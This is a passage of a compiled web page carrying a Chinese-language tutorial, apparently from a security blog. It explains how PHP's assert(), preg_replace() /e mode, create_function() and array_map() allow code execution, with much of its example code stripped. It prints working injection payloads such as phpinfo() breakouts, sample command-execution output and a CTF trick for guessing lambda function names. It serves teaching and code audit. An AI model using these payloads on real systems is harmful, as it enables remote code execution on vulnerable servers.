0,r.jsxs)(n.tbody,{children:[(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"zend.assertions"}),(0,r.jsx)(n.td,{children:"1"}),(0,r.jsx)(n.td,{style:{textAlign:"left"},children:"1 - \u751f\u6210\u548c\u6267\u884c\u4ee3\u7801(\u5f00\u53d1\u6a21\u5f0f) 0 - \u751f\u6210\u4ee3\u7801\uff0c\u4f46\u5728\u6267\u884c\u65f6\u8df3\u8fc7\u5b83 -1 - \u4e0d\u751f\u6210\u4ee3\u7801(\u751f\u4ea7\u73af\u5883)"})]}),(0,r.jsxs)(n.tr,{children:[(0,r.jsx)(n.td,{children:"assert.exception"}),(0,r.jsx)(n.td,{children:"0"}),(0,r.jsx)(n.td,{style:{textAlign:"left"},children:"1 - \u65ad\u8a00\u5931\u8d25\u65f6\u629b\u51fa\uff0c\u53ef\u4ee5\u629b\u51fa\u5f02\u5e38\u5bf9\u8c61\uff0c\u5982\u679c\u6ca1\u6709\u63d0\u4f9b\u5f02\u5e38\uff0c\u5219\u629b\u51faAssertionError\u5bf9\u8c61\u5b9e\u4f8b 0 - \u4f7f\u7528\u6216\u751f\u6210Throwable\uff0c\u4ec5\u4ec5\u662f\u57fa\u4e8e\u5bf9\u8c61\u751f\u6210\u7684\u8b66\u544a\u800c\u4e0d\u662f\u629b\u51fa\u5bf9\u8c61(\u4e0ePHP 5 \u517c\u5bb9)"})]})]})]}),"\n",(0,r.jsxs)(n.p,{children:["\u6240\u4ee5\u641e\u4e86\u8fd9\u4e48\u591a\uff0c",(0,r.jsx)(n.code,{children:"assert()"}),"\u51fd\u6570\u5230\u5e95\u662f\u5e72\u4ec0\u4e48\u7684\u5462\uff1f\u7528\u6211\u7684\u7406\u89e3\u6765\u8bf4\uff0c",(0,r.jsx)(n.code,{children:"assert()"}),"\u51fd\u6570\u662f\u5904\u7406\u5f02\u5e38\u7684\u4e00\u79cd\u5f62\u5f0f\uff0c\u76f8\u5f53\u4e8e\u4e00\u4e2aif\u6761\u4ef6\u8bed\u53e5\u7684\u5b8f\u5b9a\u4e49\u4e00\u6837\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u4e00\u4e2aPHP 7 \u4e2d\u7684\u793a\u4f8b"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"getMessage();\n }\n?>\n \n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\u56e0\u4e3a1\u4e0d\u7b49\u4e8e2\uff0c\u6240\u4ee5\u524d\u9762\u65ad\u8a00\u5931\u8d25\uff0c\u629b\u51fa\u5f02\u5e38\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u91cc\u5c31\u662f\u5b9e\u4f8b\u5316\u4e00\u4e2a\u5bf9\u8c61\uff0c\u7528\u8fd9\u4e2a\u5bf9\u8c61\u6765\u629b\u51fa\u5f02\u5e38\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u4e00\u4e2aphp 5 \u4e2d\u7684\u793a\u4f8b"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>Warning: assert(): \u524d\u9762\u65ad\u8a00\u5931\u8d25\uff0c\u629b\u51fa\u5f02\u5e38 failed in D:\\phpstudy_pro\\WWW\\1.php on line \n\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>Warning: assert(): Assertion failed in D:\\phpstudy_pro\\WWW\\1.php on line ```\n\n\n\u6240\u4ee5PHP 7 \u76f8\u8f83\u4e8ePHP 5 \u5c31\u662f\u591a\u4e86\u4e2a\u7528Throwable\u6765\u53d1\u51fa\u8b66\u544a\u3002\n\n\u90a3\u4e48\uff0c\u5982\u679c\u524d\u9762\u65ad\u8a00\u6210\u529f\u5462\uff1f\u4f1a\u53d1\u751f\u4ec0\u4e48\u5462?\u6765\u4e2a\u6700\u7b80\u5355\uff0c\u4e5f\u662f\u6211\u4eec\u6bd4\u8f83\u559c\u6b22\u7684\u793a\u4f8b\n\n```php\n\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>desktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u8fd9\u6bb5\u4ee3\u7801\u5728PHP 5 \u548cPHP 7 \u4e2d\u90fd\u4f1a\u8fd4\u56de\u547d\u4ee4\u6267\u884c\u7ed3\u679c\uff0c\u867d\u7136PHP 7 \u4e2d\u5bf9\u65ad\u8a00\u51fd\u6570\u7684\u53c2\u6570\u7a0d\u4f5c\u4e86\u6539\u53d8\uff0c\u4f46\u662f\u4e3a\u4e86\u517c\u5bb9\u4f4e\u7248\u672c\uff0c\u6240\u4ee5\u8fd8\u662f\u4f1a\u76f4\u63a5\u8fd4\u56de\u7ed3\u679c\u3002"}),"\n",(0,r.jsx)(n.h4,{id:"preg_replace",children:"preg_replace()"}),"\n",(0,r.jsx)(n.p,{children:"\u901a\u8fc7\u51fd\u6570\u540d\u5b57\u6211\u4eec\u4e5f\u5e94\u8be5\u80fd\u591f\u4e86\u89e3\u51fd\u6570\u5927\u6982\u4f5c\u7528\uff0c\u6b64\u51fd\u6570\u6267\u884c\u4e00\u4e2a\u6b63\u5219\u8868\u8fbe\u5f0f\u7684\u641c\u7d22\u548c\u66ff\u6362\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"mixed preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u641c\u7d22 subject \u4e2d\u5339\u914d pattern \u7684\u90e8\u5206\uff0c \u4ee5 replacement \u8fdb\u884c\u66ff\u6362\u3002"}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570\u8bf4\u660e",children:"\u53c2\u6570\u8bf4\u660e\uff1a"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"$pattern: \u8981\u641c\u7d22\u7684\u6a21\u5f0f\uff0c\u53ef\u4ee5\u662f\u5b57\u7b26\u4e32\u6216\u4e00\u4e2a\u5b57\u7b26\u4e32\u6570\u7ec4\u3002"}),"\n",(0,r.jsx)(n.li,{children:"$replacement: \u7528\u4e8e\u66ff\u6362\u7684\u5b57\u7b26\u4e32\u6216\u5b57\u7b26\u4e32\u6570\u7ec4\u3002"}),"\n",(0,r.jsx)(n.li,{children:"$subject: \u8981\u641c\u7d22\u66ff\u6362\u7684\u76ee\u6807\u5b57\u7b26\u4e32\u6216\u5b57\u7b26\u4e32\u6570\u7ec4\u3002"}),"\n",(0,r.jsx)(n.li,{children:"$limit: \u53ef\u9009\uff0c\u5bf9\u4e8e\u6bcf\u4e2a\u6a21\u5f0f\u7528\u4e8e\u6bcf\u4e2a subject \u5b57\u7b26\u4e32\u7684\u6700\u5927\u53ef\u66ff\u6362\u6b21\u6570\u3002 \u9ed8\u8ba4\u662f-1\uff08\u65e0\u9650\u5236\uff09\u3002"}),"\n",(0,r.jsx)(n.li,{children:"$count: \u53ef\u9009\uff0c\u4e3a\u66ff\u6362\u6267\u884c\u7684\u6b21\u6570\u3002"}),"\n"]}),"\n",(0,r.jsxs)(n.p,{children:["\u90a3\u8fd9\u4e2a\u51fd\u6570\u8ddf\u6211\u4eec\u547d\u4ee4\u6267\u884c\u6709\u4ec0\u4e48\u5173\u7cfb\u5462\uff1f\u4ec5\u4ec5\u770b\u4e0a\u9762\u7684\u5b98\u65b9\u89e3\u91ca\u4f3c\u4e4e\u770b\u4e0d\u51fa\u4ec0\u4e48\uff0c\u4f46\u662f",(0,r.jsx)(n.code,{children:"preg_repace()"}),"\u6709\u4e00\u4e2a\u6a21\u5f0f\u662f/e\u6a21\u5f0f\uff0c\u8fd9\u4e2a\u6a21\u5f0f\u5c31\u4f1a\u53d1\u751f\u4ee3\u7801\u6267\u884c\u7684\u95ee\u9898\uff0c\u4e3a\u4ec0\u4e48\u5462\uff1f"]}),"\n",(0,r.jsx)(n.p,{children:"\u770b\u4e00\u4e2a\u6848\u4f8b"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:" $value){\n echo Ameng($regex, $value) . \"\\n\";\n }\n?>\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u4e0a\u9762\u8fd9\u6bb5\u6211\u4eec\u9700\u8981\u6ce8\u610f\u7684\u5c31\u662f\\1,\\1\u5728\u6b63\u5219\u8868\u8fbe\u5f0f\u662f\u53cd\u5411\u5f15\u7528\u7684\u610f\u601d\uff0c\u7b80\u800c\u8a00\u4e4b\u5c31\u662f\u6307\u5b9a\u4e00\u4e2a\u5b50\u5339\u914d\u9879\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u9488\u5bf9\u4e0a\u9762\u6848\u4f8b\uff0c\u6211\u4eec\u6765\u4e2apayload\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"payload=/?.*={${phpinfo()}}\n\u6240\u4ee5\u8bed\u53e5\u5c31\u6210\u4e86\u8fd9\u6837\npreg_replace('/(.*)/ei', 'strtolower(\"\\\\1\")', {${phpinfo()}});\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u90a3\u4e48\u6211\u4eec\u76f4\u63a5\u628a\u8fd9\u6bb5\u4ee3\u7801\u653e\u5230\u9875\u9762"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u8bbf\u95ee\u9875\u9762\uff0c\u7ed3\u679c\u5982\u4e0b\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648340.png",alt:"img"})}),"\n",(0,r.jsx)(n.p,{children:"\u6211\u4eec\u770b\u5230\u6210\u529f\u6267\u884c\u4e86\u4ee3\u7801\u3002"}),"\n",(0,r.jsxs)(n.p,{children:["\u4f46\u662f\u8fd9\u91cc\u6211\u662f\u76f4\u63a5\u5c06\u8fd9\u6bb5\u4ee3\u7801\u5199\u5230\u4e86\u6587\u4ef6\u91cc\uff0c\u90a3\u4e48\u5982\u679c\u6211\u4eec\u662f\u901a\u8fc7GET\u4f20\u53c2\u5f97\u5230\u53c2\u6570\uff0c\u8fd9\u91cc\u9488\u5bf9\u4e0a\u9762\u90a3\u4e2a\u6848\u4f8b\u5c31\u9700\u8981\u6ce8\u610f\u4e00\u70b9\uff0c\u5728\u901a\u8fc7GET\u4f20\u53c2\u65f6\uff0c",(0,r.jsx)(n.code,{children:".*"}),"\u4f1a\u88ab\u66ff\u6362\u4e3a",(0,r.jsx)(n.code,{children:"_*"}),"\u5bfc\u81f4\u6211\u4eec\u8981\u7684\u6b63\u5219\u88ab\u66ff\u6362\u4e86\uff0c\u8fbe\u4e0d\u5230\u6211\u4eec\u7684\u6548\u679c\uff0c\u6240\u4ee5\u8fd9\u91cc\u53ef\u7528\u4f7f\u7528\u4e00\u4e9b\u5176\u4ed6\u7684\u6b63\u5219\u8868\u8fbe\u5f0f\u6765\u8fbe\u5230\u76ee\u7684\uff0c\u6bd4\u5982\u901a\u8fc7GET\u4f20\u53c2\u65f6\u6211\u4eec\u7684\u53c2\u6570\u53ef\u4ee5\u4f20\u5165",(0,r.jsx)(n.code,{children:"\\S*"}),"\u4ece\u800c\u8fbe\u5230\u540c\u6837\u76ee\u7684\u3002\u6240\u4ee5\u4ee5\u540e\u518d\u9047\u5230\u8fd9\u4e2a\u51fd\u6570\u7684\u65f6\u5019\uff0c\u8981\u7559\u4e2a\u5fc3\u773c\u4e86\u3002\u4e0d\u8fc7\uff0c\u8fd9\u91cc\u8981\u8865\u5145\u4e00\u70b9\uff0c\u5c31\u662f",(0,r.jsx)(n.code,{children:"preg_replace()"}),"\u51fd\u6570\u5728PHP 7 \u540e\u4fbf\u4e0d\u518d\u652f\u6301\uff0c\u4f7f\u7528",(0,r.jsx)(n.code,{children:"preg_replace_callback()"}),"\u8fdb\u884c\u66ff\u6362\u4e86\uff0c\u53d6\u6d88\u4e86\u4e0d\u5b89\u5168\u7684",(0,r.jsx)(n.code,{children:"\\e"}),"\u6a21\u5f0f\u3002"]}),"\n",(0,r.jsx)(n.h4,{id:"create_function",children:"create_function()"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"create_function()"}),"\u7528\u6765\u521b\u5efa\u4e00\u4e2a\u533f\u540d\u51fd\u6570"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"create_function( string $args, string $code) : string\n"})}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-1",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"string $args \u58f0\u660e\u7684\u51fd\u6570\u53d8\u91cf\u90e8\u5206"}),"\n",(0,r.jsx)(n.li,{children:"string $code \u8981\u6267\u884c\u7684\u4ee3\u7801"}),"\n"]}),"\n",(0,r.jsx)(n.h5,{id:"\u8fd4\u56de\u503c-1",children:"\u8fd4\u56de\u503c"}),"\n",(0,r.jsx)(n.p,{children:"\u8fd4\u56de\u552f\u4e00\u7684\u51fd\u6570\u540d\u79f0\u4f5c\u4e3a\u5b57\u7b26\u4e32\u6216\u8005\u8fd4\u56deFALSE\u9519\u8bef"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"create_function()"}),"\u51fd\u6570\u5728\u5185\u90e8\u6267\u884c",(0,r.jsx)(n.code,{children:"eval()"}),"\u51fd\u6570\uff0c\u6240\u4ee5\u6211\u4eec\u5c31\u53ef\u4ee5\u5229\u7528\u8fd9\u4e00\u70b9\uff0c\u6765\u6267\u884c\u4ee3\u7801\u3002\u5f53\u7136\u6b63\u56e0\u4e3a\u5b58\u5728\u5b89\u5168\u95ee\u9898\uff0c\u6240\u4ee5\u5728PHP 7.2 \u4e4b\u540e\u7684\u7248\u672c\u4e2d\u5df2\u7ecf\u5e9f\u5f03\u4e86",(0,r.jsx)(n.code,{children:"create_function()"}),"\u51fd\u6570\uff0c\u4f7f\u7528\u533f\u540d\u51fd\u6570\u6765\u4ee3\u66ff\u3002\u6240\u4ee5\u8fd9\u91cc\u4e3a\u4e86\u6f14\u793a\u8fd9\u4e2a\u51fd\u6570\uff0c\u6211\u91c7\u7528\u7684\u662fPHP 5 \u7684\u73af\u5883\u3002\u90a3\u4e48\u8fd9\u4e2a\u51fd\u6570\u5230\u5e95\u600e\u4e48\u7528\u5462\uff1f"]}),"\n",(0,r.jsx)(n.p,{children:"\u90a3\u4e48\u6765\u770b\u6211\u5199\u7684\u4e00\u4e2a\u7b80\u5355\u7684\u6848\u4f8b"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>desktop-m61j5j6\\admin\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u6211\u4eec\u770b\u5230\u4f7f\u7528\u6b64\u51fd\u6570\u4e3a\u6211\u4eec\u76f8\u5f53\u4e8e\u521b\u9020\u4e86\u4e00\u4e2a\u533f\u540d\u7684\u51fd\u6570\uff0c\u7ed9\u5b83\u8d4b\u4ee5\u76f8\u5e94\u7684\u53d8\u91cf\uff0c\u5c31\u6267\u884c\u4e86\u6211\u4eec\u8981\u6267\u884c\u7684\u4ee3\u7801\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u90a3\u4e48\u63a5\u4e0b\u6765\u6211\u4eec\u6765\u770b\u4e00\u4e2a\u7b80\u5355\u7684\u6848\u4f8b"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u4e2a\u4e3b\u8981\u529f\u80fd\u5c31\u662f\u5b9e\u73b0\u6392\u5e8f\uff0c\u8fd9\u6bb5\u4ee3\u7801\u5c31\u8c03\u7528\u4e86",(0,r.jsx)(n.code,{children:"create_function()"}),"\u51fd\u6570\uff0c\u90a3\u4e48\u6211\u4eec\u80fd\u5426\u5229\u7528\u8fd9\u4e2a\u51fd\u6570\u6267\u884c\u6211\u4eec\u60f3\u8981\u6267\u884c\u7684\u4ee3\u7801\u5462\uff1f"]}),"\n",(0,r.jsx)(n.p,{children:"\u5f53\u7136\u53ef\u4ee5\uff0c\u6211\u4eec\u53ea\u9700\u8981\u5728\u4f20\u53c2\u65f6\u5c06\u524d\u9762\u7684\u7b26\u53f7\u95ed\u5408\uff0c\u7136\u540e\u8f93\u5165\u6211\u4eec\u60f3\u8981\u6267\u884c\u7684\u4ee3\u7801\u5373\u53ef\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"payload='\"]);}phpinfo();/*\n\u6267\u884cpayload\u524d\uff1a$sort_function = ' return 1 * ' . $sorter . '($a[\"' . $sort_by . '\"], $b[\"' . $sort_by . '\"]);';\n\u6267\u884cpayloda\u540e\uff1a$sort_function = ' return 1 * ' . $sorter . '($a[\"' . $sort_by '\"]);}phpinfo();/*\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u770b\u5230\u8fd9\u91cc\uff0c\u4f60\u53ef\u80fd\u4f1a\u6709\u7a0d\u5fae\u7591\u60d1\uff0c\u5c31\u662f\u4f60\u95ed\u5408\u5c31\u95ed\u5408\u5427\uff0c\u4e3a\u4ec0\u4e48\u540e\u9762\u591a\u4e86\u4e2a",(0,r.jsx)(n.code,{children:";}"}),"\uff0c\u4e0d\u77e5\u9053\u4f60\u662f\u5426\u60f3\u5230\u4e86\u8fd9\u4e00\u70b9\uff1f"]}),"\n",(0,r.jsx)(n.p,{children:"\u90a3\u4e48\u6211\u5c31\u6765\u5206\u6790\u4e00\u4e0b\u8fd9\u4e2a\uff0c\u4e0a\u9762\u7684\u90a3\u6bb5\u6267\u884c\u4ee3\u7801\uff0c\u5b9e\u9645\u4e0a\u5c31\u662f\u4e00\u4e2a\u533f\u540d\u51fd\u6570\u7684\u521b\u5efa\uff0c\u65e2\u7136\u662f\u4e00\u4e2a\u51fd\u6570\uff0c\u6ce8\u610f\u662f\u4e00\u4e2a\u51fd\u6570\uff0c\u90a3\u4e48\u4f60\u89c9\u5f97\u6709\u6ca1\u6709\u82b1\u62ec\u53f7\u5462\uff1f\u770b\u6211\u5982\u4e0b\u4ee3\u7801"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u53ef\u4ee5\u770b\u5230\uff0c\u6211\u4eec\u501f\u7528\u4e86\u533f\u540d\u51fd\u6570\u7684\u4f4d\u7f6e\uff0c\u63d2\u5165\u4e86\u6211\u4eec\u8981\u6267\u884c\u7684\u4ee3\u7801\uff0c\u7136\u540e\u7b49\u8fd9\u4e2a\u533f\u540d\u51fd\u6570\u88ab",(0,r.jsx)(n.code,{children:"create_function"}),"\u5f53\u4f5c",(0,r.jsx)(n.code,{children:"$code"}),"\u6267\u884c\u7684\u65f6\u5019\uff0c\u662f\u4e0d\u662f\u4ee3\u7801\u5c31\u88ab\u6267\u884c\u4e86\u3002"]}),"\n",(0,r.jsx)(n.p,{children:"\u7ed3\u679c\uff1a"}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648342.png",alt:"img"})}),"\n",(0,r.jsxs)(n.p,{children:["\u90a3\u4e48",(0,r.jsx)(n.code,{children:"creat_function"}),"\u51fd\u6570\u8fd8\u6709\u522b\u7684\u7528\u6cd5\u5417\uff1f\u6211\u4eec\u5c06\u4e0a\u9762\u4e00\u4e2a\u6848\u4f8b\u7b80\u5355\u7684\u4fee\u6539\u4e00\u4e0b\uff0c\u4ee3\u7801\u5982\u4e0b\uff1a"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:'\n'})}),"\n",(0,r.jsxs)(n.p,{children:["\u4ee3\u7801\u7b80\u5355\u7684\u6765\u770b\uff0c\u6211\u4eec\u53ea\u9700\u8981\u6267\u884c",(0,r.jsx)(n.code,{children:"$onefunc"}),"\u5c31\u80fd\u5f97\u5230flag\uff0c\u4f46\u662f\u6211\u4eec\u4e0d\u77e5\u9053\u8fd9\u4e2a\u51fd\u6570\u7684\u540d\u79f0\u3002\u5982\u679c\u5728\u4e0d\u77e5\u9053\u51fd\u6570\u540d\u79f0\u7684\u60c5\u51b5\u4e0b\u6267\u884c\u51fd\u6570\u5462\uff1f\u8fd9\u91cc\u5c31\u7528\u5230\u4e86",(0,r.jsx)(n.code,{children:"creat_function"}),"\u51fd\u6570\u7684\u4e00\u4e2a\u6f0f\u6d1e\u3002\u8fd9\u4e2a\u51fd\u6570\u5728creat\u4e4b\u540e\u4f1a\u81ea\u52a8\u751f\u6210\u4e00\u4e2a\u51fd\u6570\u540d\u4e3a",(0,r.jsx)(n.code,{children:"%00lambda_%d"}),"\u7684\u533f\u540d\u51fd\u6570\u3002",(0,r.jsx)(n.code,{children:"%d"}),"\u7684\u503c\u662f\u4e00\u76f4\u9012\u589e\u7684\uff0c\u4f1a\u4e00\u76f4\u9012\u589e\u5230\u6700\u5927\u957f\u5ea6\u76f4\u5230\u7ed3\u675f\u3002\u6240\u4ee5\u8fd9\u91cc\u53ef\u4ee5\u901a\u8fc7\u591a\u8fdb\u7a0b\u6216\u8005\u591a\u7ebf\u7a0b\u8bbf\u95ee\uff0c\u4ece\u800c\u770b\u5230flag\u3002"]}),"\n",(0,r.jsxs)(n.p,{children:["\u6240\u4ee5\uff0c\u4ee5\u540e\u518d\u4ee3\u7801\u4e2d\u5982\u679c\u770b\u5230\u8c03\u7528",(0,r.jsx)(n.code,{children:"create_function()"}),"\u8981\u5c0f\u5fc3\u4e00\u70b9\uff0c\u4f46\u662f\u5982\u679c\u662fCTF\u9898\u76ee\u7684\u8bdd\uff0c\u4e0d\u4f1a\u8fd9\u4e48\u76f4\u63a5\u5c31\u5427\u8fd9\u4e2a\u51fd\u6570\u66b4\u9732\u7ed9\u4f60\uff0c\u5b83\u53ef\u80fd\u4f1a\u7528\u5230\u62fc\u63a5\u6216\u8005\u66ff\u6362\u6765\u6784\u9020\u8fd9\u4e2a\u51fd\u6570\u3002\u6700\u540e\u518d\u5f3a\u8c03\u4e00\u4e0b\uff0c",(0,r.jsx)(n.code,{children:"create_function"}),"\u51fd\u6570\u5728PHP 7.2 \u7248\u672c\u4e4b\u540e\u5c31\u5df2\u7ecf\u88ab\u5e9f\u5f03\u4e86\u3002"]}),"\n",(0,r.jsx)(n.h4,{id:"array_map",children:"array_map()"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"array_map()"}),"\u4e3a\u6570\u7ec4\u7684\u6bcf\u4e2a\u5143\u7d20\u5e94\u7528\u56de\u8c03\u51fd\u6570"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"array_map( callable $callback, array $array1[, array $...] ) : array\n"})}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.strong,{children:"array_map()"}),"\uff1a\u8fd4\u56de\u6570\u7ec4\uff0c\u662f\u4e3a ",(0,r.jsx)(n.code,{children:"array1"})," \u6bcf\u4e2a\u5143\u7d20\u5e94\u7528 ",(0,r.jsx)(n.code,{children:"callback"}),"\u51fd\u6570\u4e4b\u540e\u7684\u6570\u7ec4\u3002",(0,r.jsx)(n.code,{children:"callback"})," \u51fd\u6570\u5f62\u53c2\u7684\u6570\u91cf\u548c\u4f20\u7ed9",(0,r.jsx)(n.code,{children:"array_map()"})," \u6570\u7ec4\u6570\u91cf\uff0c\u4e24\u8005\u5fc5\u987b\u4e00\u6837\u3002"]}),"\n",(0,r.jsx)(n.h5,{id:"\u53c2\u6570-2",children:"\u53c2\u6570"}),"\n",(0,r.jsxs)(n.ul,{children:["\n",(0,r.jsx)(n.li,{children:"callback\uff1a\u56de\u8c03\u51fd\u6570\uff0c\u5e94\u7528\u5230\u6bcf\u4e2a\u6570\u7ec4\u91cc\u7684\u6bcf\u4e2a\u5143\u7d20\u3002"}),"\n",(0,r.jsxs)(n.li,{children:["array1\uff1a\u6570\u7ec4\uff0c\u904d\u5386\u8fd0\u884c",(0,r.jsx)(n.code,{children:"callback"}),"\u51fd\u6570\u3002"]}),"\n",(0,r.jsxs)(n.li,{children:["...\uff1a\u6570\u7ec4\u5217\u8868\uff0c\u6bcf\u4e2a\u90fd\u904d\u5386\u8fd0\u884c",(0,r.jsx)(n.code,{children:"callback"}),"\u51fd\u6570\u3002"]}),"\n"]}),"\n",(0,r.jsx)(n.h5,{id:"\u8fd4\u56de\u503c-2",children:"\u8fd4\u56de\u503c"}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd4\u56de\u6570\u7ec4\uff0c\u5305\u542b",(0,r.jsx)(n.code,{children:"callback"}),"\u51fd\u6570\u5904\u7406\u4e4b\u540e",(0,r.jsx)(n.code,{children:"array1"}),"\u7684\u6240\u6709\u5143\u7d20\u3002"]}),"\n",(0,r.jsxs)(n.p,{children:["\u8bf4\u4e86\u8fd9\u4e48\u591a\u5b98\u65b9\u7684\u51fd\u6570\u89e3\u91ca\uff0c\u90a3\u4e48\u8fd9\u4e2a\u51fd\u6570\u5230\u5e95\u5982\u4f55\u4f7f\u7528\u5462\uff1f\u7b80\u800c\u8a00\u4e4b\uff0c\u8fd9\u4e2a\u51fd\u6570\u7684\u4f5c\u7528\u53ef\u4ee5\u8fd9\u4e48\u76f4\u767d\u7684\u89e3\u91ca\u4e00\u4e0b\u3002\u4f60\u672c\u6765\u6709\u4e00\u4e2a\u6570\u7ec4\uff0c\u7136\u540e\u6211\u901a\u8fc7",(0,r.jsx)(n.code,{children:"array_map"}),"\u51fd\u6570\u5c06\u4f60\u8fd9\u4e2a\u6570\u7ec4\u5f53\u4f5c\u53c2\u6570\u4f20\u5165\uff0c\u7136\u540e\u8fd4\u56de\u4e00\u4e2a\u65b0\u7684\u6570\u7ec4\u3002\u89c1\u4e0b\u56fe\u3002"]}),"\n",(0,r.jsx)(n.p,{children:(0,r.jsx)(n.img,{src:"https://cdn.wjlin0.com/img/202508191648343.png",alt:"img"})}),"\n",(0,r.jsx)(n.p,{children:"\u4ee3\u7801\u793a\u4f8b\uff1a"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n \n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\narray(5) {\n [0]=>\n int(1)\n [1]=>\n int(4)\n [2]=>\n int(9)\n [3]=>\n int(16)\n [4]=>\n int(25)\n}\n"})}),"\n",(0,r.jsx)(n.p,{children:"\u901a\u8fc7\u4e0a\u8ff0\u4ee3\u7801\uff0c\u6211\u4eec\u5927\u6982\u77e5\u9053\u8fd9\u4e2a\u51fd\u6570\u5c31\u662f\u8c03\u7528\u56de\u8c03\u51fd\u6570\uff08\u7528\u6237\u81ea\u5b9a\u4e49\u7684\u51fd\u6570\uff09\u6765\u5b9e\u73b0\u5bf9\u73b0\u6709\u6570\u7ec4\u7684\u64cd\u4f5c\uff0c\u4ece\u800c\u5f97\u5230\u4e00\u4e2a\u65b0\u7684\u6570\u7ec4\u3002"}),"\n",(0,r.jsx)(n.p,{children:"\u90a3\u4e48\u529f\u80fd\u6211\u77e5\u9053\u4e86\uff0c\u53ef\u662f\u8fd9\u4e2a\u548c\u4ee3\u7801\u6267\u884c\u6709\u4ec0\u4e48\u5173\u7cfb\u5462\uff1f\u5982\u4f55\u80fd\u591f\u5229\u7528\u8fd9\u4e2a\u51fd\u6570\u6267\u884c\u4ee3\u7801\u5462\uff1f\u4e14\u770b\u4e0b\u9762\u6240\u793a\u4ee3\u7801\u3002"}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx)(n.code,{className:"language-php",children:"\n \n \n\u6267\u884c\u7ed3\u679c\u2014\u2014>\ndesktop-m61j5j6\\admin\narray(1) {\n [0]=>\n string(21) \"desktop-m61j5j6\\admin\"\n}\n"})}),"\n",(0,r.jsxs)(n.p,{children:["\u8fd9\u6bb5\u4ee3\u7801\u5c31\u662f\uff0c\u901a\u8fc7",(0,r.jsx)(n.code,{children:"array_map()"}),"\u8fd9\u4e2a\u51fd\u6570\uff0c\u6765\u8c03\u7528\u7528\u6237\u81ea\u5b9a\u4e49\u7684\u51fd\u6570\uff0c\u800c\u7528\u6237\u8fd9\u91cc\u7684\u56de\u8c03\u51fd\u6570\u5176\u5b9e\u5c31\u662f",(0,r.jsx)(n.code,{children:"system"}),"\u51fd\u6570\uff0c\u90a3\u4e48\u5c31\u76f8\u5f53\u4e8e\u6211\u4eec\u7528",(0,r.jsx)(n.code,{children:"system"}),"\u51fd\u6570\u6765\u5bf9\u65e7\u6570\u7ec4\u8fdb\u884c\u64cd\u4f5c\uff0c\u5f97\u5230\u65b0\u7684\u6570\u7ec4\uff0c\u90a3\u4e48\u8fd9\u4e2a\u65b0\u7684\u6570\u7ec4\u7684\u7ed3\u679c\u5c31\u662f\u6211\u4eec\u60f3\u8981\u7684\u547d\u4ee4\u6267\u884c\u7684\u7ed3\u679c\u4e86\u3002"]}),"\n",(0,r.jsx)(n.h4,{id:"call_user_func",children:"call_user_func()"}),"\n",(0,r.jsxs)(n.p,{children:[(0,r.jsx)(n.code,{children:"call_user_func()"}),"\u662f\u628a\u7b2c\u4e00\u4e2a\u53c2\u6570\u4f5c\u4e3a\u56de\u8c03\u51fd\u6570\u8c03\u7528"]}),"\n",(0,r.jsx)(n.pre,{children:(0,r.jsx